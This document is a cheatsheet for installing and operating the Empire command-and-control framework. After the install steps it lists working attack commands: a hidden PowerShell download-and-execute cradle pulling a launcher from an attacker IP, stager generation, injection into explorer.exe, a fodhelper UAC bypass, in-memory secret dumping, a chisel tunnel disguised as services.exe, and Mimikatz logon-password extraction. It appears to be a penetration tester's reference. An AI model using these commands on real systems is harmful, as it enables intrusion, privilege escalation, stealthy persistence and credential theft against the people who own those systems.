Empire

Install

$ git clone --recursive https://github.com/BC-SECURITY/Empire.git
$ cd Empire
$ sudo ./setup/install.sh
$ sudo poetry install
To compile C# agents (Covenant and Sharpire) install .NET SDK 3.1:
$ wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
$ sudo dpkg -i packages-microsoft-prod.deb
$ rm packages-microsoft-prod.deb
$ sudo apt-get update; \
sudo apt-get install -y apt-transport-https && \
sudo apt-get update && \
sudo apt-get install -y dotnet-sdk-3.1
$ sudo apt-get update; \
sudo apt-get install -y apt-transport-https && \
sudo apt-get update && \
sudo apt-get install -y aspnetcore-runtime-3.1

Run

$ ./ps-empire server [--restip 127.0.0.1 --username snovvcrash --password 'Passw0rd!']
$ ./ps-empire client
Reset the database:
$ ./ps-empire server --reset

Cheatsheet

Basic PowerShell launcher string:
PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/launcher.ps1')"
Prepare a listener:
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: uselistener/http) > set Name http1
(Empire: uselistener/http) > set Host 10.10.13.37
(Empire: uselistener/http) > set Port 80
(Empire: uselistener/http) > execute
Generate a PowerShell stager:
(Empire: listeners) > usestager multi/launcher
(Empire: usestager/multi/launcher) > set Listener http1
(Empire: usestager/multi/launcher) > set OutFile pwsh.ps1
(Empire: usestager/multi/launcher) > generate
Generate a C# stager:
(Empire: listeners) > useplugin csharpserver
(Empire: useplugin/csharpserver) > set status start
(Empire: useplugin/csharpserver) > execute
(Empire: useplugin/csharpserver) > usestager windows/csharp_exe
(Empire: usestager/windows/csharp_exe) > set Listener http1
(Empire: usestager/windows/csharp_exe) > set OutFile csharp.exe
(Empire: usestager/windows/csharp_exe) > generate
Re-inject into an interactive process (e.g., explorer.exe):
(Empire: listeners) > agents
(Empire: agents) > rename LKH7SD3V A1
(Empire: agents) > interact A1
(Empire: A1) > sysinfo
(Empire: A1) > shell Get-Process explorer
(Empire: A1) > psinject exch <EXPLORER_EXE_PID>
Bypass UAC to get a high integrity process:
(Empire: A1) > shell whoami /priv
(Empire: A1) > usemodule privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http1
(Empire: powershell/privesc/bypassuac_fodhelper) > run
Execute a PowerShell script from memory (e.g., Invoke-SharpSecDump.ps1):
(Empire: A1) > shell whoami /priv
(Empire: A1) > usemodule management/invoke_script
(Empire: powershell/management/invoke_script) > set ScriptPath /home/snovvcrash/tools/dump.ps1
(Empire: powershell/management/invoke_script) > set ScriptCmd Invoke-SharpSecDump -C "-tager=127.0.0.1"
(Empire: powershell/management/invoke_script) > run
Start a process in the background (e.g., chisel SOCKS proxy):
(Empire: A1) > shell IWR http://10.10.13.37:8080/chisel.exe -OutFile C:\Windows\services.exe -UseBasicParsing
(Empire: A1) > shell Start-Process -NoNewWindow -FilePath C:\Windows\services.exe -ArgumentList "client 10.10.13.37:8000 R:socks"
Invoke a custom Mimikatz command:
(Empire: A1) > usemodule credentials/mimikatz/command
(Empire: powershell/credentials/mimikatz/command) > set Command '"privilege::debug" "token::elevate" "ts::logonpasswords" "exit"'
(Empire: powershell/credentials/mimikatz/command) > run

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